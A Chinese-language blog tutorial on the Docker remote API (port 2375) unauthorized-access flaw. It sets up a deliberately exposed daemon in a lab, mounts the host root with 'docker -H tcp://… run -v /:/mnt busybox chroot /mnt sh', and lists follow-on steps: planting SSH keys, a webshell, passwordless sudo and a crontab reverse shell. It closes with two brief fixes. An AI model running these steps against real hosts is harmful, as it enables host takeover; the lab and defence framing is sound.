您好,登錄后才能下訂單哦!
這篇文章主要講解了“docker remote API漏洞怎么修復”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“docker remote API漏洞怎么修復”吧!
docker是一種開源的應用容器引擎,這個漏洞是利用docker對外開放的一個api接口,因為權限設置不當,導致可以遠程命令執行。
· 本地一臺虛擬機,一臺臨時創建的阿里云服務器
· centos7
· docker-ce-18.09.9
首先探測2375端口,如果開放,再構造http:localhost:2375/version請求,如果返回包帶有json格式,說明存在該漏洞。
配置宿主機網卡轉發
## 若未配置,需要執行如下$ cat <<EOF > /etc/sysctl.d/docker.confnet.bridge.bridge-nf-call-ip6tables = 1net.bridge.bridge-nf-call-iptables = 1net.ipv4.ip_forward=1EOF$ sysctl -p /etc/sysctl.d/docker.conf
Yum安裝配置docker
## 下載阿里源repo文件$ curl -o /etc/yum.repos.d/Centos-7.repo http://mirrors.aliyun.com/repo/Centos-7.repo$ curl -o /etc/yum.repos.d/docker-ce.repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo$ yum clean all && yum makecache## 安裝指定版本yum install -y docker-ce-18.09.9## 配置源加速## https://cr.console.aliyun.com/cn-hangzhou/instances/mirrorsmkdir -p /etc/dockervi /etc/docker/daemon.json{ "registry-mirrors" : [ "https://8xpk5wnt.mirror.aliyuncs.com" ]}## 設置開機自啟systemctl enable docker systemctl daemon-reload## docker daemonps aux |grep docker## containerdps aux|grep containerdsystemctl status containerd
編輯docker文件:/usr/lib/systemd/system/docker.service
vim /usr/lib/systemd/system/docker.service
修改ExecStart行為下面內容
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock \
重新加載docker配置
systemctl daemon-reload # 加載docker守護線程systemctl restart docker # 重啟docker
· 查看端口
docker -H tcp://8.135.2.198 run --rm -it -v /:/mnt busybox chroot /mnt sh
· 簡單解釋一下參數的含義:
· –rm 容器停止時,自動刪除該容器
· -v 掛載目錄。格式為 系統目錄:容器目錄
· -i 指示 docker 要在容器上打開一個標準的輸入接口
· -t 指示 docker 要創建一個偽 tty 終端,連接容器的標準輸入接口,之后用戶就可以通過終端進行輸入
通過此漏洞,可在docker命令執行,并且影響宿主機。
引用網上的一些總結流程
1. Docker是以root權限運行的,這是所有姿勢的前提
1. Docker在運行一個容器的時候可以將宿主機上的一個目錄掛載到容器內的一個目錄,我們可以參考redis未授權訪問漏洞,將宿主機的/root/.ssh目錄掛載到容器上,然后寫入公鑰。如果有web目錄的話,最差也能上一個webshell。
1. 有些服務器不允許root登錄,可以寫入其他用戶的.ssh/目錄下(通過查看/etc/ssh/sshd_config目錄),然后修改/etc/sudoer中的文件,配置為sudo免密碼,切換為root
1. 還可以通過crontab寫計劃任務反彈shell
1.關閉2375端口 (尤其是公網情況下一定要禁用此端口)
2.在防火墻上配置禁止外網訪問2375端口
感謝各位的閱讀,以上就是“docker remote API漏洞怎么修復”的內容了,經過本文的學習后,相信大家對docker remote API漏洞怎么修復這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關知識點的文章,歡迎關注!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。